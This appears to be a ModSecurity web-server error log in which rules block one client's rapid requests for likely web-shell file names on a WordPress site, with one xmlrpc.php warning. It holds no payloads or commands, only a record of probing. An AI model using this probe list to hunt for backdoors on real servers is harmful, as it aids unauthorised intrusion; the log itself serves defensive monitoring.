[Sun Apr 19 06:28:32.328159 2026] [:error] [pid 15763:tid 15799] [client 20.215.64.52:54565] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeQFkLMXv1Y1THOoxaArhAAAAgM"]
[Sun Apr 19 06:28:34.932946 2026] [:error] [pid 47775:tid 47849] [client 20.215.64.52:64555] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeQFkrmztjlk9tsmoeyBygAAAIY"]
[Sun Apr 19 06:28:36.687218 2026] [:error] [pid 15765:tid 15865] [client 20.215.64.52:54555] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeQFlPRqinw-W5EwQ76PYQAAAow"]
[Sun Apr 19 06:28:40.133160 2026] [:error] [pid 15765:tid 15866] [client 20.215.64.52:64533] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeQFmPRqinw-W5EwQ76PZAAAAo0"]
[Sun Apr 19 06:28:41.858895 2026] [:error] [pid 47773:tid 47840] [client 20.215.64.52:13069] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeQFmeiBHdnCJDuPq9BzmQAAAFg"]
[Sun Apr 19 06:28:45.045661 2026] [:error] [pid 47886:tid 47906] [client 20.215.64.52:54610] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeQFnUSe8yiyuPrD7yP6mQAAANI"]
[Sun Apr 19 06:28:48.539657 2026] [:error] [pid 15764:tid 15848] [client 20.215.64.52:57145] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeQFoGLL_sqdSHoVp-T06QAAAlY"]
[Sun Apr 19 06:28:52.000684 2026] [:error] [pid 15760:tid 15791] [client 20.215.64.52:58310] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeQFo_SdD_XHQMJ_ISsf7gAAAdc"]
[Sun Apr 19 06:28:53.270969 2026] [:error] [pid 47772:tid 47796] [client 20.215.64.52:13630] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeQFpYc0L16cb4smAz-2_wAAAAc"]
[Sun Apr 19 06:28:54.782540 2026] [:error] [pid 47773:tid 47825] [client 20.215.64.52:56538] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeQFpuiBHdnCJDuPq9BzpQAAAEk"]
[Sun Apr 19 06:28:56.104250 2026] [:error] [pid 47772:tid 47806] [client 192.159.142.249:60856] [client 192.159.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.159.142.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQFqIc0L16cb4smAz-3AgAAABE"]
[Sun Apr 19 06:28:57.075485 2026] [:error] [pid 47773:tid 47820] [client 20.215.64.52:58385] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeQFqeiBHdnCJDuPq9BzrwAAAEQ"]
[Sun Apr 19 06:29:00.731817 2026] [:error] [pid 47886:tid 47898] [client 20.215.64.52:57050] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeQFrESe8yiyuPrD7yP6ogAAAMo"]
[Sun Apr 19 06:29:02.691841 2026] [:error] [pid 47773:tid 47833] [client 20.215.64.52:13604] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeQFruiBHdnCJDuPq9BzvAAAAFE"]
[Sun Apr 19 06:29:04.329389 2026] [:error] [pid 47773:tid 47824] [client 20.215.64.52:13340] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeQFsOiBHdnCJDuPq9BzwQAAAEg"]
[Sun Apr 19 06:29:05.624739 2026] [:error] [pid 47773:tid 47819] [client 20.215.64.52:13594] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeQFseiBHdnCJDuPq9BzygAAAEM"]
[Sun Apr 19 06:29:30.631275 2026] [:error] [pid 47772:tid 47809] [client 20.215.64.52:48824] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeQFyoc0L16cb4smAz-3WwAAABQ"]
[Sun Apr 19 06:29:33.052650 2026] [:error] [pid 47775:tid 47859] [client 20.215.64.52:54044] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeQFzbmztjlk9tsmoeyCAAAAAJA"]
[Sun Apr 19 06:29:35.119150 2026] [:error] [pid 47886:tid 47898] [client 20.215.64.52:48800] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeQFz0Se8yiyuPrD7yP6vwAAAMo"]
[Sun Apr 19 06:29:36.938701 2026] [:error] [pid 47772:tid 47791] [client 20.215.64.52:48778] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeQF0Ic0L16cb4smAz-3XwAAAAI"]
[Sun Apr 19 06:29:38.095534 2026] [:error] [pid 15693:tid 15699] [client 20.215.64.52:43564] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeQF0sNMD-ccazQlTskaYAAAAUM"]
[Sun Apr 19 06:29:38.807096 2026] [:error] [pid 47886:tid 47906] [client 20.215.64.52:54041] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeQF0kSe8yiyuPrD7yP6wgAAANI"]
[Sun Apr 19 06:29:39.792348 2026] [:error] [pid 15764:tid 15848] [client 20.215.64.52:26125] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeQF02LL_sqdSHoVp-T1AwAAAlY"]
[Sun Apr 19 06:29:40.769222 2026] [:error] [pid 47886:tid 47905] [client 20.215.64.52:54062] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeQF1ESe8yiyuPrD7yP6yQAAANE"]
[Sun Apr 19 06:29:42.573397 2026] [:error] [pid 15764:tid 15836] [client 20.215.64.52:48787] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeQF1mLL_sqdSHoVp-T1CAAAAko"]
[Sun Apr 19 06:29:44.350553 2026] [:error] [pid 47772:tid 47802] [client 20.215.64.52:55276] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeQF2Ic0L16cb4smAz-3aQAAAA0"]
[Sun Apr 19 06:29:45.366552 2026] [:error] [pid 47772:tid 47812] [client 20.215.64.52:52274] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeQF2Yc0L16cb4smAz-3bgAAABc"]
[Sun Apr 19 06:29:46.993976 2026] [:error] [pid 15764:tid 15838] [client 20.215.64.52:43548] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeQF2mLL_sqdSHoVp-T1DwAAAkw"]
[Sun Apr 19 06:29:49.087571 2026] [:error] [pid 47773:tid 47820] [client 20.215.64.52:48795] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeQF3eiBHdnCJDuPq9B0JQAAAEQ"]
[Sun Apr 19 06:29:54.277270 2026] [:error] [pid 15760:tid 15770] [client 20.215.64.52:48807] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeQF4vSdD_XHQMJ_ISsgBAAAAcI"]
[Sun Apr 19 06:29:55.613869 2026] [:error] [pid 15763:tid 15796] [client 20.215.64.52:58314] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeQF47MXv1Y1THOoxaArpAAAAgA"]
[Sun Apr 19 06:29:58.593961 2026] [:error] [pid 47772:tid 47801] [client 20.215.64.52:23993] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeQF5oc0L16cb4smAz-3iwAAAAw"]
[Sun Apr 19 06:30:00.853128 2026] [:error] [pid 47886:tid 47904] [client 20.215.64.52:57779] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeQF6ESe8yiyuPrD7yP66wAAANA"]
[Sun Apr 19 06:30:05.010554 2026] [:error] [pid 47773:tid 47824] [client 20.215.64.52:63893] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeQF7eiBHdnCJDuPq9B0WgAAAEg"]
[Sun Apr 19 06:30:06.841080 2026] [:error] [pid 15760:tid 15780] [client 20.215.64.52:23997] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeQF7vSdD_XHQMJ_ISsgBgAAAcw"]
[Sun Apr 19 06:30:09.331837 2026] [:error] [pid 47775:tid 47854] [client 20.215.64.52:21058] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeQF8bmztjlk9tsmoeyCHAAAAIs"]
[Sun Apr 19 06:30:12.642194 2026] [:error] [pid 47773:tid 47827] [client 20.215.64.52:23991] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeQF9OiBHdnCJDuPq9B0ZwAAAEs"]
[Sun Apr 19 06:30:14.290401 2026] [:error] [pid 47886:tid 47897] [client 20.215.64.52:13379] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeQF9kSe8yiyuPrD7yP69AAAAMk"]
[Sun Apr 19 06:30:15.258004 2026] [:error] [pid 47886:tid 47901] [client 20.215.64.52:57750] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeQF90Se8yiyuPrD7yP69wAAAM0"]
[Sun Apr 19 06:30:16.939053 2026] [:error] [pid 47775:tid 47850] [client 20.215.64.52:63882] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeQF-Lmztjlk9tsmoeyCJAAAAIc"]
[Sun Apr 19 06:30:18.737935 2026] [:error] [pid 47775:tid 47860] [client 20.215.64.52:21113] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeQF-rmztjlk9tsmoeyCJgAAAJE"]
[Sun Apr 19 06:30:20.035877 2026] [:error] [pid 47772:tid 47797] [client 20.215.64.52:21064] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeQF_Ic0L16cb4smAz-3oQAAAAg"]
[Sun Apr 19 06:30:21.203408 2026] [:error] [pid 47772:tid 47798] [client 20.215.64.52:13062] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeQF_Yc0L16cb4smAz-3qAAAAAk"]
[Sun Apr 19 06:30:23.596030 2026] [:error] [pid 47772:tid 47792] [client 20.215.64.52:63878] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeQF_4c0L16cb4smAz-3sAAAAAM"]
[Sun Apr 19 06:30:25.360274 2026] [:error] [pid 47772:tid 47794] [client 20.215.64.52:53474] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeQGAYc0L16cb4smAz-3uQAAAAU"]
[Sun Apr 19 06:30:27.502189 2026] [:error] [pid 47773:tid 47824] [client 20.215.64.52:13094] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeQGA-iBHdnCJDuPq9B0bwAAAEg"]
[Sun Apr 19 06:30:28.097762 2026] [:error] [pid 15694:tid 15724] [client 20.215.64.52:21103] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeQGBLimB-jol1fwqArAtgAAAYE"]
[Sun Apr 19 06:30:52.238502 2026] [:error] [pid 15694:tid 15737] [client 20.215.64.52:13071] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeQGHLimB-jol1fwqArA0AAAAYs"]
[Sun Apr 19 06:30:57.829729 2026] [:error] [pid 15763:tid 15811] [client 20.215.64.52:21118] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeQGIbMXv1Y1THOoxaArwgAAAg8"]
[Sun Apr 19 06:31:00.265104 2026] [:error] [pid 47775:tid 47866] [client 20.215.64.52:21089] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeQGJLmztjlk9tsmoeyCOwAAAJc"]
[Sun Apr 19 06:31:01.746410 2026] [:error] [pid 15763:tid 15796] [client 20.215.64.52:21098] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeQGJbMXv1Y1THOoxaArwwAAAgA"]
[Sun Apr 19 06:31:06.362092 2026] [:error] [pid 15760:tid 15770] [client 20.215.64.52:21092] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeQGKvSdD_XHQMJ_ISsgFwAAAcI"]
[Sun Apr 19 06:31:07.260663 2026] [:error] [pid 47886:tid 47901] [client 20.215.64.52:13399] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeQGK0Se8yiyuPrD7yP7EQAAAM0"]
[Sun Apr 19 06:31:08.596825 2026] [:error] [pid 47773:tid 47830] [client 20.215.64.52:13117] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeQGLOiBHdnCJDuPq9B0hQAAAE4"]
[Sun Apr 19 06:31:10.164954 2026] [:error] [pid 15765:tid 15862] [client 20.215.64.52:23974] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeQGLvRqinw-W5EwQ76PrQAAAok"]
[Sun Apr 19 06:31:13.367161 2026] [:error] [pid 47772:tid 47803] [client 20.215.64.52:53461] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeQGMYc0L16cb4smAz-36AAAAA4"]
